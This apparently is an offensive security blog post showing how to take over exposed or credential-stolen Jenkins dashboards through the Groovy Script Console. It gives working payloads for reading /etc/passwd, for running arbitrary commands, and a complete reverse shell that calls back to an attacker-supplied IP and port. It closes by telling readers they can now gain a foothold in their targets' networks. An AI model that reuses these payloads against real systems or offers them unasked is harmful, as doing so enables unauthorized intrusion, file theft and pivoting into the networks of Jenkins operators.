Hacking Jenkins using Groovy Script Payloads

In this post, I will be going over a few examples of how to compromise a Jenkins dashboard, whether you gained access from stolen credentials, or by finding a public facing dashboard with the no-password configuration running.

Jenkins Logo

What is Jenkins?

Jenkins is a self-contained, open source automation server which can be used to automate all sorts of tasks related to building, testing, and delivering or deploying software.  Jenkins can be installed through native system packages, Docker, or even run standalone by any machine with a Java Runtime Environment (JRE) installed.

The Jenkins dashboard runs on port 8080 by default, and will sometimes be running with a no-password configuration, allowing anyone who can access the URL, access to the dashboard. This type of configuration is used a lot within the companies internal network, so that users within the network can manage the dashboard without user credentials.   However, just because someone can access your dashboard, does not mean they can automatically pwn the server.  This is where the Jenkins Script Console comes into play if enabled.

The Jenkins Script Console plugin allows us to run Apache Groovy scripts within the Jenkins master runtime or in the runtime of agents.  When this plugin is enabled, you will see a Script Console option added to your Manage Jenkins dashboard, where you will be able to submit your Apache Groovy scripts.

What is Apache Groovy?

Apache Groovy is a Java-syntax-compatible object-oriented programming language for the Java platform. It is both a static and dynamic language with features similar to those of Python, Ruby, Perl, and Smalltalk. It can be used as both a programming language and a scripting language for the Java Platform, is compiled to Java virtual machine (JVM) bytecode, and interoperates seamlessly with other Java code and libraries. Groovy uses a curly-bracket syntax similar to Java’s. Groovy supports closures, multiline strings, and expressions embedded in strings. Much of Groovy’s power lies in its AST transformations, triggered through annotations.

By writing some malicious Groovy Script payloads, we can gain shell access on the Jenkins host server, which may allow us to further pivot into the target network for more attacks. Lets take a look at a possible attack scenario.

Scenario

So you find yourself accessing a Jenkins Dashboard, you should see if you have the Manage Jenkins link.  The Manage Jenkins dashboard should look like the following.

Manage Jenkins

From the options listed under the Manage Jenkins page, we are interested in the Script Console option.  Once you access the Script Console, you should see a page with a text-area form field where you would be posting your Groovy Script for execution.  This specific page looks like the one below.

You may also be able to access the Script Console page by using the URL of the Jenkins dashboard, with a /script added.

Jenkins Script Console

Now that we have access to the Script Console, lets take a look at the payloads we are going to use.

Payloads

Remote File Read

This code can be used to read the contents of any file on the target server that you have permissions to read.

new File("/etc/passwd").withReader('UTF-8') { reader ->
def line
    while ((line = reader.readLine()) != null) { 
        println "${line}"
    }
}
Jenkins Remote File Read

Remote Code Execution

This code can be used to execute commands on the target machine.  I used this to determine the operating system and the command interpreter of the target machine so we can write architecture specific payloads.

Version 1

def process = "ls -lah".execute()
println "${process.text}"

Version 2

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ls -lah'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "$sout"
Jenkins RCE

Reverse Shell

This code can be used to setup a reverse shell using the target command interpreter.  When executing the reverse shell, the Jenkins server will return a 500 Internal Server or Proxy error, but still process the reverse shell without disconnection.

The cmd variable will reflect the target command interpreter i.e. ( cmd.exe for Windows, /bin/bash for Linux )

String host="<attacker_listening_ip_address>";
int port=<attacker_listening_port>;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Jenkins Reverse Shell

Conclusion

Using the above techniques, you should be able to gain a foothold into your targets network by compromising their Jenkins dashboard.  The most common configuration I have seen in the wild, is Jenkins running within a docker container or using something like the bitnami image.

We have a few more tricks to compromise Jenkins servers that we will write about next.

Leave a Reply

Your email address will not be published.